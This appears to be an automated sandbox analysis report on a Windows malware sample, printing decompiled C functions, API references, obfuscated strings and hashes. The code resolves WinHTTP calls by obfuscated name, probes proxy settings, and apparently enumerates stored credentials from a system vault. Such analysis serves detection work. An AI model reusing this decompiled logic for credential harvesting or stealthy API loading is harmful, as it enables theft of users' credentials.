				_t198 = GetProcAddress(LoadLibraryA("winhttp.dll"), _t121);
				_v16 = "U4R-55sEd590WfZ_W0u0i";
				_t124 = E004081AA(_t215);
				_v16 = "winhttp.dll";
				_t125 = LoadLibraryA(_t215);
				_v12 = _t124;
				_v16 = _t125;
				_t126 = GetProcAddress(_t245, _t232);
				_push(_t214);
				_push(_t214);
				if(_t198 != 0 && _t126 != 0) {
					memcpy( &_a104, L"InternetProxy", 7 << 2);
					_t204 = 0;
					_v0 = 0;
					_v4 = 0;
					_v8 = 0;
					_v12 = 1;
					_v16 =  &_a104;
					_a28 = 0;
					_t160 =  *_t198();
					_t250 = _t250 + 0xc - 0x14;
					_t202 = _t160;
					if(_t160 != 0) {
						_t214 =  &_a48;
						_t162 = memset( &_a60, _a8, 6 << 2);
						_a60 = 1;
						_a64 = 3;
						_a80 = 1;
						memset(_t214, _t162, 3 << 2);
						_t165 = memcpy( &_a112, L"http://www.yandex.com", 0xb << 2);
						_t255 = _t250 + 0x24;
						_t204 = 0;
						_v28 = _t165;
						_v24 = _t214;
						 *_t255 = _t202;
						_v32 =  &_a112;
						_t167 = _v0();
						_t250 = _t255 - 0x10;
						if(_t167 != 0) {
							memcpy( &_a17, "socks=", 7);
							_t250 = _t250 + 0xc;
							_t204 = 0;
							_v40 = _t203;
							_v44 = _t248;
							_v48 =  &_a17;
							 *_t250 =  &_a204;
							if(E00408306(0, _t261) != 0) {
								 *_t250 = 0x8c;
								_t180 = malloc(??);
								_t242 = _t180;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t180 + 4;
								E00412548();
								 *_t242 = 0;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t242 + 0x44)) = E00412666(0);
								_t184 =  *0x42b304; // 0x0
								 *0x42b304 = _t242;
								 *(_t242 + 0x88) = _t184;
								 *_t250 = 0x8c;
								_t185 = malloc(??);
								_t243 = _t185;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t185 + 4;
								E00412548();
								 *_t243 = 2;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t243 + 0x44)) = E00412666(0);
								_t189 =  *0x42b304; // 0x0
								 *0x42b304 = _t243;
								 *(_t243 + 0x88) = _t189;
								_v44 = 4;
								_v48 = 0x422fa5;
								 *_t250 = 0x4223dc;
								E00412548();
							}
						}
					}
				}
				_t127 = E004081AA("U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0");
				_v16 = "winhttp.dll";
				_t199 = _t127;
				_t128 = LoadLibraryA(??);
				_v12 = _t199;
				_v16 = _t128;
				_t129 = GetProcAddress(_t204, ??);
				_push(_t199);
				_t234 = _t129;
				_push(_t199);
				if(_t129 != 0) {
					_t130 = malloc(0x10);
					_t200 = _t130;
					_v16 = _t130;
					_t129 =  *_t234();
					_t264 = _t129;
					_push(_t214);
					if(_t129 != 0) {
						_v12 = "%S";
						_t201 =  &_a56;
						_v16 = 0x1000;
						_t246 =  &_a172;
						_v8 =  *((intOrPtr*)(_t200 + 8));
						 *_t250 =  &_a236;
						E004127A8();
						_v12 = 0x1000;
						_v16 = 0x422f70;
						 *_t250 =  &_a236;
						E00412588();
						_v8 = _t201;
						_v12 = _t246;
						_a100 = 0x68;
						_a101 = 0x74;
						_v16 =  &_a100;
						_a102 = 0x74;
						_a103 = 0x70;
						_a104 = 0x3d;
						 *_t250 =  &_a236;
						_a105 = 0;
						_t138 = E00408306(_t204, _t264);
						_t265 = _t138;
						if(_t138 != 0) {
							 *_t250 = 0x8c;
							_t152 = malloc(??);
							_t238 = _t152;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t152 + 4;
							E00412548();
							 *_t238 = 3;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t238 + 0x44)) = E00412666(_t204);
							_t156 =  *0x42b304; // 0x0
							 *0x42b304 = _t238;
							 *(_t238 + 0x88) = _t156;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							E00412548();
						}
						memcpy( &_a128, "socks=", 7);
						_t250 = _t250 + 0xc;
						_v8 = _t201;
						_v12 = _t246;
						_v16 =  &_a128;
						 *_t250 =  &_a236;
						_t129 = E00408306(0, _t265);
						if(_t129 != 0) {
							 *_t250 = 0x8c;
							_t142 = malloc(??);
							_t236 = _t142;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t142 + 4;
							E00412548();
							 *_t236 = 2;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t236 + 0x44)) = E00412666(0);
							_t146 =  *0x42b304; // 0x0
							 *0x42b304 = _t236;
							 *(_t236 + 0x88) = _t146;
							 *_t250 = 0x8c;
							_t147 = malloc(??);
							_t237 = _t147;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t147 + 4;
							E00412548();
							 *_t237 = 0;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t237 + 0x44)) = E00412666(0);
							_t151 =  *0x42b304; // 0x0
							 *0x42b304 = _t237;
							 *(_t237 + 0x88) = _t151;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							_t129 = E00412548();
						}
					}
				}
				return _t129;
			}

0x00408417
0x00408425
0x0040842e
0x00408450
0x00408452
0x00408459
0x0040845e
0x00408467
0x0040846d
0x00408471
0x00408474
0x0040847b
0x0040847c
0x0040847d
0x0040849b
0x0040849b
0x004084a1
0x004084a9
0x004084b1
0x004084b9
0x004084c1
0x004084c4
0x004084c8
0x004084ca
0x004084cf
0x004084d1
0x004084db
0x004084ed
0x004084f6
0x004084fe
0x00408506
0x0040850e
0x00408520
0x00408520
0x00408520
0x00408522
0x0040852d
0x00408531
0x00408534
0x00408538
0x0040853a
0x0040853f
0x00408648
0x00408648
0x00408648
0x0040864e
0x00408652
0x00408656
0x00408661
0x0040866b
0x00408671
0x00408678
0x0040867d
0x00408682
0x0040868a
0x0040868e
0x00408691
0x00408696
0x0040869c
0x004086a4
0x004086a7
0x004086ac
0x004086b2
0x004086b8
0x004086bf
0x004086c4
0x004086c9
0x004086d1
0x004086d5
0x004086d8
0x004086dd
0x004086e3
0x004086eb
0x004086ee
0x004086f3
0x004086f9
0x004086ff
0x00408707
0x0040870f
0x00408716
0x00408716
0x0040866b
0x0040853f
0x004084d1
0x00408722
0x00408727
0x0040872e
0x00408730
0x00408736
0x0040873a
0x0040873d
0x00408744
0x00408745
0x00408747
0x00408748
0x00408755
0x0040875a
0x0040875c
0x0040875f
0x00408761
0x00408763
0x00408764
0x0040876d
0x00408775
0x00408779
0x00408781
0x00408788
0x00408793
0x00408796
0x004087a2
0x004087aa
0x004087b2
0x004087b5
0x004087be
0x004087c2
0x004087c6
0x004087cb
0x004087d0
0x004087db
0x004087e0
0x004087e5
0x004087ea
0x004087ed
0x004087f2
0x004087f7
0x004087f9
0x004087fb
0x00408802
0x00408807
0x0040880c
0x00408814
0x00408818
0x0040881b
0x00408820
0x00408826
0x0040882e
0x00408831
0x00408836
0x0040883c
0x00408842
0x0040884a
0x00408852
0x00408859
0x00408859
0x0040886f
0x0040886f
0x00408878
0x0040887c
0x00408880
0x0040888b
0x0040888e
0x00408895
0x0040889b
0x004088a2
0x004088a7
0x004088ac
0x004088b4
0x004088b8
0x004088bb
0x004088c0
0x004088c6
0x004088ce
0x004088d1
0x004088d6
0x004088dc
0x004088e2
0x004088e9
0x004088ee
0x004088f3
0x004088fb
0x004088ff
0x00408902
0x00408907
0x0040890d
0x00408915
0x00408918
0x0040891d
0x00408923
0x00408929
0x00408931
0x00408939
0x00408940
0x00408940
0x00408895
0x00408764
0x0040894f

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0040914E), ref: 0040843C
GetProcAddress.KERNEL32(?,?), ref: 00408449
LoadLibraryA.KERNEL32(?,?,?,?,?,0040914E), ref: 00408467
GetProcAddress.KERNEL32 ref: 00408474
malloc.MSVCRT ref: 004085DE
malloc.MSVCRT ref: 00408678
malloc.MSVCRT ref: 004086BF
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040914E), ref: 00408730
GetProcAddress.KERNEL32 ref: 0040873D
malloc.MSVCRT ref: 00408755
malloc.MSVCRT ref: 00408802
malloc.MSVCRT ref: 004088A2
malloc.MSVCRT ref: 004088E9

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

001, xrefs: 0040862E, 0040870F, 00408852, 00408939
=, xrefs: 004087E5
p, xrefs: 004085BC
t, xrefs: 004085A7
@, xrefs: 004088F3
p, xrefs: 004087E0
U4R-55sEd590WfZ_W0u0i, xrefs: 00408452
h, xrefs: 004085A2
http://www.yandex.com, xrefs: 004084E8
InternetProxy, xrefs: 00408491
t, xrefs: 004085B7
U4R-55sTsdR, xrefs: 00408427
socks=, xrefs: 0040863E, 00408865
t, xrefs: 004087CB
=, xrefs: 004085C1
winhttp.dll, xrefs: 00408433, 0040845E, 00408727
h, xrefs: 004087C6
U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0, xrefs: 0040871B
t, xrefs: 004087DB

Memory Dump Source

Source File: 00000002.00000002.621612280.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.621652630.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000002.00000002.621660867.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc$AddressLibraryLoadProc$_vsnprintf
String ID: 001$=$=$@$InternetProxy$U4R-55sEd590WfZ_W0u0i$U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0$U4R-55sTsdR$h$h$http://www.yandex.com$p$p$socks=$t$t$t$t$winhttp.dll
API String ID: 3272051020-337019666
Opcode ID: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction ID: 129794d27e18b5d836c16bc2de0120feea3297db44a07732c008f05b0d4f5d07
Opcode Fuzzy Hash: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction Fuzzy Hash: 09D1F5B0508740AFD710EF25C68479ABBF0BF84744F418C2EE5C897351EBB99989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00408417, Relevance: 54.5, APIs: 13, Strings: 18, Instructions: 294
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E00408417(void* __edx, void* __eflags, int _a8, void* _a11, void* _a12, void* _a13, void* _a14, void* _a15, void* _a16, void _a17, void* _a24, intOrPtr _a28, void* _a36, char _a48, char _a56, void _a60, void _a64, intOrPtr _a80, char _a100, char _a101, char _a102, char _a103, void _a104, char _a105, void _a112, void _a128, void* _a140, char _a172, char _a204, char _a236) {
				void _v0;
				void _v4;
				void _v8;
				void* _v12;
				void* _v16;
				void* _v24;
				void* _v28;
				void* _v32;
				void _v40;
				void* _v44;
				void* _v48;
				CHAR* _t121;
				void* _t124;
				struct HINSTANCE__* _t125;
				_Unknown_base(*)()* _t126;
				intOrPtr _t127;
				struct HINSTANCE__* _t128;
				_Unknown_base(*)()* _t129;
				void* _t130;
				void* _t138;
				void* _t142;
				void* _t147;
				void* _t152;
				intOrPtr _t160;
				int _t162;
				void* _t165;
				void* _t167;
				void* _t180;
				void* _t185;
				intOrPtr* _t198;
				intOrPtr _t199;
				void* _t200;
				void _t201;
				intOrPtr _t202;
				void _t203;
				void* _t214;
				CHAR* _t215;
				CHAR* _t232;
				_Unknown_base(*)()* _t234;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t242;
				void* _t243;
				struct HINSTANCE__* _t245;
				void* _t246;
				void* _t248;
				void* _t249;
				void* _t250;
				intOrPtr* _t255;

				_t214 = __edx;
				_t250 = _t249 - E0041F3F0(0x110c);
				_t121 = E004081AA("U4R-55sTsdR");
				_t198 = GetProcAddress(LoadLibraryA("winhttp.dll"), _t121);
				_v16 = "U4R-55sEd590WfZ_W0u0i";
				_t124 = E004081AA(_t215);
				_v16 = "winhttp.dll";
				_t125 = LoadLibraryA(_t215);
				_v12 = _t124;
				_v16 = _t125;
				_t126 = GetProcAddress(_t245, _t232);
				_push(_t214);
				_push(_t214);
				if(_t198 != 0 && _t126 != 0) {
					memcpy( &_a104, L"InternetProxy", 7 << 2);
					_t204 = 0;
					_v0 = 0;
					_v4 = 0;
					_v8 = 0;
					_v12 = 1;
					_v16 =  &_a104;
					_a28 = 0;
					_t160 =  *_t198();
					_t250 = _t250 + 0xc - 0x14;
					_t202 = _t160;
					if(_t160 != 0) {
						_t214 =  &_a48;
						_t162 = memset( &_a60, _a8, 6 << 2);
						_a60 = 1;
						_a64 = 3;
						_a80 = 1;
						memset(_t214, _t162, 3 << 2);
						_t165 = memcpy( &_a112, L"http://www.yandex.com", 0xb << 2);
						_t255 = _t250 + 0x24;
						_t204 = 0;
						_v28 = _t165;
						_v24 = _t214;
						 *_t255 = _t202;
						_v32 =  &_a112;
						_t167 = _v0();
						_t250 = _t255 - 0x10;
						if(_t167 != 0) {
							memcpy( &_a17, "socks=", 7);
							_t250 = _t250 + 0xc;
							_t204 = 0;
							_v40 = _t203;
							_v44 = _t248;
							_v48 =  &_a17;
							 *_t250 =  &_a204;
							if(E00408306(0, _t261) != 0) {
								 *_t250 = 0x8c;
								_t180 = malloc(??);
								_t242 = _t180;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t180 + 4;
								E00412548();
								 *_t242 = 0;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t242 + 0x44)) = E00412666(0);
								 *0x42b304 = _t242;
								 *(_t242 + 0x88) =  *0x42b304;
								 *_t250 = 0x8c;
								_t185 = malloc(??);
								_t243 = _t185;
								_v44 = 0x40;
								_v48 = _t248;
								 *_t250 = _t185 + 4;
								E00412548();
								 *_t243 = 2;
								 *_t250 = _t203;
								 *((intOrPtr*)(_t243 + 0x44)) = E00412666(0);
								 *0x42b304 = _t243;
								 *(_t243 + 0x88) =  *0x42b304;
								_v44 = 4;
								_v48 = 0x422fa5;
								 *_t250 = 0x4223dc;
								E00412548();
							}
						}
					}
				}
				_t127 = E004081AA("U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0");
				_v16 = "winhttp.dll";
				_t199 = _t127;
				_t128 = LoadLibraryA(??);
				_v12 = _t199;
				_v16 = _t128;
				_t129 = GetProcAddress(_t204, ??);
				_push(_t199);
				_t234 = _t129;
				_push(_t199);
				if(_t129 != 0) {
					_t130 = malloc(0x10);
					_t200 = _t130;
					_v16 = _t130;
					_t129 =  *_t234();
					_t264 = _t129;
					_push(_t214);
					if(_t129 != 0) {
						_v12 = "%S";
						_t201 =  &_a56;
						_v16 = 0x1000;
						_t246 =  &_a172;
						_v8 =  *((intOrPtr*)(_t200 + 8));
						 *_t250 =  &_a236;
						E004127A8();
						_v12 = 0x1000;
						_v16 = 0x422f70;
						 *_t250 =  &_a236;
						E00412588();
						_v8 = _t201;
						_v12 = _t246;
						_a100 = 0x68;
						_a101 = 0x74;
						_v16 =  &_a100;
						_a102 = 0x74;
						_a103 = 0x70;
						_a104 = 0x3d;
						 *_t250 =  &_a236;
						_a105 = 0;
						_t138 = E00408306(_t204, _t264);
						_t265 = _t138;
						if(_t138 != 0) {
							 *_t250 = 0x8c;
							_t152 = malloc(??);
							_t238 = _t152;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t152 + 4;
							E00412548();
							 *_t238 = 3;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t238 + 0x44)) = E00412666(_t204);
							 *0x42b304 = _t238;
							 *(_t238 + 0x88) =  *0x42b304;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							E00412548();
						}
						memcpy( &_a128, "socks=", 7);
						_t250 = _t250 + 0xc;
						_v8 = _t201;
						_v12 = _t246;
						_v16 =  &_a128;
						 *_t250 =  &_a236;
						_t129 = E00408306(0, _t265);
						if(_t129 != 0) {
							 *_t250 = 0x8c;
							_t142 = malloc(??);
							_t236 = _t142;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t142 + 4;
							E00412548();
							 *_t236 = 2;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t236 + 0x44)) = E00412666(0);
							 *0x42b304 = _t236;
							 *(_t236 + 0x88) =  *0x42b304;
							 *_t250 = 0x8c;
							_t147 = malloc(??);
							_t237 = _t147;
							_v12 = 0x40;
							_v16 = _t246;
							 *_t250 = _t147 + 4;
							E00412548();
							 *_t237 = 0;
							 *_t250 = _t201;
							 *((intOrPtr*)(_t237 + 0x44)) = E00412666(0);
							 *0x42b304 = _t237;
							 *(_t237 + 0x88) =  *0x42b304;
							_v12 = 4;
							_v16 = 0x422fa5;
							 *_t250 = 0x4223dc;
							_t129 = E00412548();
						}
					}
				}
				return _t129;
			}

0x00408417
0x00408425
0x0040842e
0x00408450
0x00408452
0x00408459
0x0040845e
0x00408467
0x0040846d
0x00408471
0x00408474
0x0040847b
0x0040847c
0x0040847d
0x0040849b
0x0040849b
0x004084a1
0x004084a9
0x004084b1
0x004084b9
0x004084c1
0x004084c4
0x004084c8
0x004084ca
0x004084cf
0x004084d1
0x004084db
0x004084ed
0x004084f6
0x004084fe
0x00408506
0x0040850e
0x00408520
0x00408520
0x00408520
0x00408522
0x0040852d
0x00408531
0x00408534
0x00408538
0x0040853a
0x0040853f
0x00408648
0x00408648
0x00408648
0x0040864e
0x00408652
0x00408656
0x00408661
0x0040866b
0x00408671
0x00408678
0x0040867d
0x00408682
0x0040868a
0x0040868e
0x00408691
0x00408696
0x0040869c
0x004086a4
0x004086ac
0x004086b2
0x004086b8
0x004086bf
0x004086c4
0x004086c9
0x004086d1
0x004086d5
0x004086d8
0x004086dd
0x004086e3
0x004086eb
0x004086f3
0x004086f9
0x004086ff
0x00408707
0x0040870f
0x00408716
0x00408716
0x0040866b
0x0040853f
0x004084d1
0x00408722
0x00408727
0x0040872e
0x00408730
0x00408736
0x0040873a
0x0040873d
0x00408744
0x00408745
0x00408747
0x00408748
0x00408755
0x0040875a
0x0040875c
0x0040875f
0x00408761
0x00408763
0x00408764
0x0040876d
0x00408775
0x00408779
0x00408781
0x00408788
0x00408793
0x00408796
0x004087a2
0x004087aa
0x004087b2
0x004087b5
0x004087be
0x004087c2
0x004087c6
0x004087cb
0x004087d0
0x004087db
0x004087e0
0x004087e5
0x004087ea
0x004087ed
0x004087f2
0x004087f7
0x004087f9
0x004087fb
0x00408802
0x00408807
0x0040880c
0x00408814
0x00408818
0x0040881b
0x00408820
0x00408826
0x0040882e
0x00408836
0x0040883c
0x00408842
0x0040884a
0x00408852
0x00408859
0x00408859
0x0040886f
0x0040886f
0x00408878
0x0040887c
0x00408880
0x0040888b
0x0040888e
0x00408895
0x0040889b
0x004088a2
0x004088a7
0x004088ac
0x004088b4
0x004088b8
0x004088bb
0x004088c0
0x004088c6
0x004088ce
0x004088d6
0x004088dc
0x004088e2
0x004088e9
0x004088ee
0x004088f3
0x004088fb
0x004088ff
0x00408902
0x00408907
0x0040890d
0x00408915
0x0040891d
0x00408923
0x00408929
0x00408931
0x00408939
0x00408940
0x00408940
0x00408895
0x00408764
0x0040894f

APIs

LoadLibraryA.KERNEL32(?,?,?,?,0040914E), ref: 0040843C
GetProcAddress.KERNEL32(?,?), ref: 00408449
LoadLibraryA.KERNEL32(?,?,?,?,?,0040914E), ref: 00408467
GetProcAddress.KERNEL32 ref: 00408474
malloc.MSVCRT ref: 004085DE
malloc.MSVCRT ref: 00408678
malloc.MSVCRT ref: 004086BF
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040914E), ref: 00408730
GetProcAddress.KERNEL32 ref: 0040873D
malloc.MSVCRT ref: 00408755
malloc.MSVCRT ref: 00408802
malloc.MSVCRT ref: 004088A2
malloc.MSVCRT ref: 004088E9

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

t, xrefs: 004085B7
h, xrefs: 004085A2
U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0, xrefs: 0040871B
t, xrefs: 004087CB
U4R-55sTsdR, xrefs: 00408427
InternetProxy, xrefs: 00408491
U4R-55sEd590WfZ_W0u0i, xrefs: 00408452
h, xrefs: 004087C6
p, xrefs: 004085BC
t, xrefs: 004087DB
http://www.yandex.com, xrefs: 004084E8
t, xrefs: 004085A7
@, xrefs: 004088F3
socks=, xrefs: 0040863E, 00408865
p, xrefs: 004087E0
=, xrefs: 004085C1
=, xrefs: 004087E5
winhttp.dll, xrefs: 00408433, 0040845E, 00408727

Memory Dump Source

Source File: 00000002.00000001.363673900.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000001.363701741.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: malloc$AddressLibraryLoadProc$_vsnprintf
String ID: =$=$@$InternetProxy$U4R-55sEd590WfZ_W0u0i$U4R-55sEd5Xj90WfZPWR84n_W0PQ00dR5u6d0$U4R-55sTsdR$h$h$http://www.yandex.com$p$p$socks=$t$t$t$t$winhttp.dll
API String ID: 3272051020-3271394883
Opcode ID: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction ID: 129794d27e18b5d836c16bc2de0120feea3297db44a07732c008f05b0d4f5d07
Opcode Fuzzy Hash: 5ae4fd168ad160b687ec016b66311f032f2127d997e6a72b6d5e7ab802d206c0
Instruction Fuzzy Hash: 09D1F5B0508740AFD710EF25C68479ABBF0BF84744F418C2EE5C897351EBB99989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DCE9, Relevance: 38.9, APIs: 16, Strings: 6, Instructions: 395
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0040DCE9(struct HINSTANCE__* __edx, int* _a4) {
				char _v340;
				char _v344;
				char _v568;
				char _v824;
				char _v852;
				char _v856;
				void _v1068;
				char _v1080;
				void _v1084;
				int _v1092;
				int _v1096;
				int _v1100;
				int _v1104;
				int _v1108;
				char _v1112;
				int _v1116;
				int _v1120;
				_Unknown_base(*)()* _v1124;
				_Unknown_base(*)()* _v1128;
				int _v1132;
				signed int _v1136;
				int _v1144;
				int _v1148;
				char* _v1152;
				signed int _v1160;
				char _v1164;
				char _v1168;
				int* _v1172;
				int _v1176;
				int* _v1180;
				int* _v1184;
				int _v1188;
				int _v1192;
				intOrPtr _v1196;
				intOrPtr _v1200;
				signed char _v1204;
				int _v1208;
				int _v1212;
				int _v1216;
				int _v1220;
				char* _v1224;
				int _v1228;
				char* _v1232;
				int _v1236;
				int _t213;
				_Unknown_base(*)()* _t217;
				int _t218;
				_Unknown_base(*)()* _t221;
				int _t222;
				_Unknown_base(*)()* _t223;
				int _t224;
				signed int _t225;
				int _t231;
				void* _t239;
				void* _t243;
				void* _t263;
				char* _t264;
				int _t271;
				void* _t295;
				int _t296;
				signed char _t303;
				CHAR* _t306;
				intOrPtr* _t307;
				int _t308;
				struct HINSTANCE__* _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed char _t317;
				int* _t319;
				int _t321;
				intOrPtr* _t328;
				signed char _t329;
				int _t330;
				signed char _t331;
				struct HINSTANCE__* _t334;
				struct HINSTANCE__* _t335;
				char* _t336;
				char* _t337;
				int _t338;
				void* _t339;
				char** _t342;

				_t313 = __edx;
				_v1108 = 0;
				 *(memcpy( &_v1084, 0x4228a0, 4 << 2)) = 0;
				_v1104 = 0;
				_v1100 = 0;
				_v1096 = 0;
				_v1092 = 0;
				memcpy( &_v1068, 0x4228b0, 4 << 2);
				_t342 = _t339 - 0x48c + 0x18;
				_t334 = LoadLibraryA(E004081AA("2CQi5Yi4.Sii"));
				_t213 = 0;
				_push(_t306);
				if(_t334 == 0) {
					L38:
					return _t213;
				}
				_t328 = GetProcAddress(_t334, E004081AA("zCQi5TsdRzCQi5"));
				_v1180 = "zCQi5PiW6dzCQi5";
				_t217 = GetProcAddress(_t334, E004081AA(_t313));
				_v1180 = "zCQi5jRQld0C5dX5dl6";
				_v1128 = _t217;
				_t218 = E004081AA(0);
				_v1180 = _t334;
				_v1176 = _t218;
				_t307 = GetProcAddress(0, _t313);
				_v1180 = "zCQi5Ed5X5dl";
				_t221 = GetProcAddress(_t334, E004081AA(_t306));
				_v1180 = "zCQi5Ed5X5dl";
				_v1124 = _t221;
				_t222 = E004081AA(_t335);
				_v1180 = _t334;
				_v1176 = _t222;
				_t223 = GetProcAddress(_t335, _t306);
				_v1180 = "zCQi5_0dd";
				_v1120 = _t223;
				_t224 = E004081AA(_t313);
				_v1180 = _t334;
				_v1176 = _t224;
				_t225 = GetProcAddress(_t313, ??);
				_push(0);
				_push(0);
				_t314 = _t313 & 0xffffff00 | _t328 == 0x00000000;
				_v1136 = _t225;
				_t315 = _t314 & 0xffffff00 | _v1128 == 0x00000000;
				_t316 = _t315 & 0xffffff00 | _v1124 == 0x00000000;
				_t317 = _t316 & 0xffffff00 | _v1120 == 0x00000000;
				if((_t225 & 0xffffff00 | _t307 == 0x00000000 | _t314 | _t315 | _t316 | _t317) != 0 || _v1136 == 0) {
					L3:
					_t308 = 0;
					goto L33;
				} else {
					_v1176 = 0;
					_v1172 =  &_v1104;
					_v1180 =  &_v1084;
					_t239 =  *_t328();
					_t342 = _t342 - 0xc;
					if(_t239 != 0) {
						goto L3;
					}
					_v1188 = 0x200;
					_v1180 =  &_v1108;
					_v1184 =  &_v1112;
					_v1192 = _v1116;
					_t243 =  *_t307();
					_t342 = _t342 - 0x10;
					if(_t243 != 0 || _v1128 == 0) {
						goto L3;
					} else {
						if(E004132E6(0, _t317) != 0xa) {
							if(E004132E6(0, _t317) == 0xc || E004132E6(0, _t317) == 0xb || E004132E6(0, _t317) == 0xe || E004132E6(0, _t317) == 0xd || E004132E6(0, _t317) == 0xf) {
								goto L8;
							} else {
								_v1160 = 0;
								_t308 = 0;
								while(_v1160 < _v1128) {
									_v1200 = 0x10;
									_t317 = _v1124 + _v1160 * 0x34;
									_v1204 =  &_v1096;
									_v1208 = _t317;
									_t331 = _t317;
									if(E004129C0() == 0) {
										WideCharToMultiByte(0, 0,  *(_t331 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
										_t337 =  &_v568;
										WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t331 + 0x18)) + 0x20, 0xffffffff, _t337, 0x100, 0, 0);
										_v1188 = 0;
										_v1192 = 0;
										_v1120 = 0;
										_v1184 =  &_v1120;
										_v1196 =  *((intOrPtr*)(_t331 + 0x18));
										_v1204 = _t331;
										_v1200 =  *((intOrPtr*)(_t331 + 0x14));
										_v1208 = _v1132;
										_t295 = _v1152();
										_t342 = _t342 - 0xffffffffffffffc4;
										if(_t295 == 0) {
											_t321 =  &_v340;
											_v1208 = 0;
											_v1212 = 0;
											_v1216 = 0x100;
											_v1220 = _t321;
											_v1224 = 0xffffffff;
											_v1232 = 0;
											_v1236 = 0;
											_v1176 = _t321;
											_v1228 =  *((intOrPtr*)(_v1148 + 0x1c)) + 0x20;
											WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
											_t342 = _t342 - 0x20;
											_t317 = _v1176;
											_v1220 = _t337;
											_t338 =  &_v1144;
											_v1228 = 2;
											_v1232 = 0x4239a1;
											_v1224 =  &_v852;
											_v1144 = 0;
											_v1216 = _t317;
											_v1236 = _t338;
											_t303 = E00412755( &_v852);
											_t331 = _t303;
											if(_t303 != 0xffffffff) {
												_v1224 = _t303;
												_v1232 = _t308;
												_v1220 = 1;
												_v1228 = _t338;
												_t308 = _t308 + _t331;
												_v1236 =  &_v1164;
												_v1164 = E00412ABF(0);
											}
										}
										_t296 = _v1148;
										if(_t296 != 0) {
											_v1236 = _t296;
											_v1192();
											_push(_t331);
										}
									}
									_v1188 =  &(1[_v1188]);
								}
								L33:
								_t231 = _v1096;
								if(_t231 != 0) {
									_v1180 = _t231;
									_v1136();
									_push(0);
								}
								if(_v1104 != 0) {
									_v1180 =  &_v1104;
									_v1128();
									_push(_t317);
								}
								_push(FreeLibrary(_t334));
								 *_a4 = _t308;
								_t213 = _v1108;
								goto L38;
							}
						}
						L8:
						_v1160 = 0;
						_t308 = 0;
						while(_v1160 < _v1128) {
							_v1200 = 0x10;
							_t317 = _v1124 + _v1160 * 0x38;
							_v1204 =  &_v1096;
							_v1208 = _t317;
							_t329 = _t317;
							if(E004129C0() == 0) {
								WideCharToMultiByte(0, 0,  *(_t329 + 0x10), 0xffffffff,  &_v1080, 0x100, 0, 0);
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x14)) + 0x20, 0xffffffff,  &_v824, 0x100, 0, 0);
								_t336 =  &_v568;
								WideCharToMultiByte(0, 0,  *((intOrPtr*)(_t329 + 0x18)) + 0x20, 0xffffffff, _t336, 0x100, 0, 0);
								_v1184 = 0;
								_v1188 = 0;
								_v1192 = 0;
								_v1120 = 0;
								_v1180 =  &_v1120;
								_v1196 =  *((intOrPtr*)(_t329 + 0x18));
								_v1204 = _t329;
								_v1200 =  *((intOrPtr*)(_t329 + 0x14));
								_v1208 = _v1132;
								_t263 = _v1148();
								_t342 = _t342 - 0xffffffffffffffc0;
								if(_t263 == 0) {
									_t319 =  &_v344;
									_v1212 = 0;
									_v1216 = 0;
									_v1220 = 0x100;
									_v1224 = _t319;
									_v1228 = 0xffffffff;
									_v1236 = 0;
									 *_t342 = 0;
									_v1184 = _t319;
									_v1232 = _v1152[0x1c] + 0x20;
									WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
									_t342 = _t342 - 0x20;
									_t317 = _v1184;
									_v1224 = _t336;
									_t336 =  &_v1148;
									_v1232 = 2;
